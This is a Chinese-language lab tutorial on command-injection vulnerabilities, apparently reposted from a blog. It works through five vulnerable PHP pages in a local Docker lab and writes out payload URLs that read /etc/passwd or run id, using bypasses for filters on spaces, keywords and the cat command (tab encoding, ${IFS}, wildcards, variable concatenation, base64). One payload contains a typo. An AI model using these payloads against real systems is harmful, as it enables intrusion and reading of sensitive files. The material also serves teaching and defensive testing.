漏洞简介
命令执行漏洞(Command Injection)是一种常见的安全漏洞,也被称为代码注入漏洞。它允许攻击者将恶意代码注入到受攻击的应用程序中,从而可以在应用程序的上下文中执行任意命令。
命令执行漏洞通常出现在Web应用程序中,特别是在接受用户输入的Web表单和参数的地方。攻击者可以利用这些输入来构造恶意的命令,然后将其注入到应用程序中。如果应用程序未正确验证和过滤输入,恶意命令就可以被执行,导致应用程序的数据泄露、损坏或完全被接管。
例如,一个Web应用程序可能允许用户输入搜索查询,而这些查询参数被传递给一个后端操作系统的shell命令执行。如果攻击者可以将恶意代码注入到搜索查询中,那么他们就可以执行任意命令,例如下载敏感数据或在服务器上执行恶意软件。
为了避免命令执行漏洞,应用程序应该始终验证和过滤输入,确保它们只包含所需的字符和格式,并使用参数化查询或其他安全的查询方法来避免使用拼接字符串的方式构造查询。
01、命令执行漏洞
选择第一个命令执行漏洞连接
源码分析
通过docker ps命令查看容器id,docker exec进入到容器的命令行界面
使用cat命令查看源码
分析源码内容,参数ip执行ping操作,没有做任何过滤操作,导致命令执行漏洞,在ip地址后加入命令连接符即可执行其他命令。
命令执行
在URL后缀添加ip=127.0.0.1
然后再ip=127.0.01 后面添加 ; 分号作为分隔符,写入并执行其他命令,如whoami,cat /etc/passwd,如图所示,即可成功执行其他系统命令。
02、命令执行漏洞空格绕过
源码分析
查看源码可看出对IP参数过滤了空格
再次执行ip=127.0.0.1;cat /etc/passwd会报错
(1)可以用%09制表符URL编码代替空格,绕过空格过滤
http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
(2)< 小于号绕过
http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat%3C/etc/passwd
(3){,} 中括号过滤
http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}
(4)${IFS}绕过
http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat${IFS}/etc/passwd
(5)$IFS$9
http://192.168.102.131:8001/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd
03、命令执行漏洞关键命令绕过
源码分析
如下图所示,源码过滤了cat命令
绕过方法
(1)拼接绕过
使用a=ca;b=t;$a$b /etc/passwd绕过
http://192.168.102.131:8001/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd
(2)命令替换绕过
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /etc/passwd 2>%261 //报错出文件内容
http://192.168.102.131:8001/exec/03.php?ip=127.0.0.1;more%20/etc/passwd
04、命令执行漏洞通配符绕过
源码分析
如下图所示,过滤了关键字etc|passwd
使用通配符方法进行绕过渗透,?字符代表单个字符,可以分别将etc和passwd其中的1个或者是多个字符分别用?替换。?不能匹配空字符。
(1)http://192.168.102.131:8001/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??
(2)http://192.168.102.131:8001/exec/04.php?ip=127.0.0.1;cat%20/?tc/pa??wd
05、命令执行漏洞base64编码绕过
源码分析
如下图所示,源码中过滤了id命令
(1)首先可以使用base64编码工具对id编码直接写在url后面
http://192.168.102.131:8001/exec/05.php?ip=127.0.0.1;aWQK
(2)使用linux中命令进行编码
echo id|base64
反引号括起来的值会被当做命令执行
http://192.168.102.131:8001/exec/05.php?ip=127.0.0.1;`echo%20aWQK|bsae64%20-d`
原文章:https://blog.csdn.net/mooyuan/article/details/128027631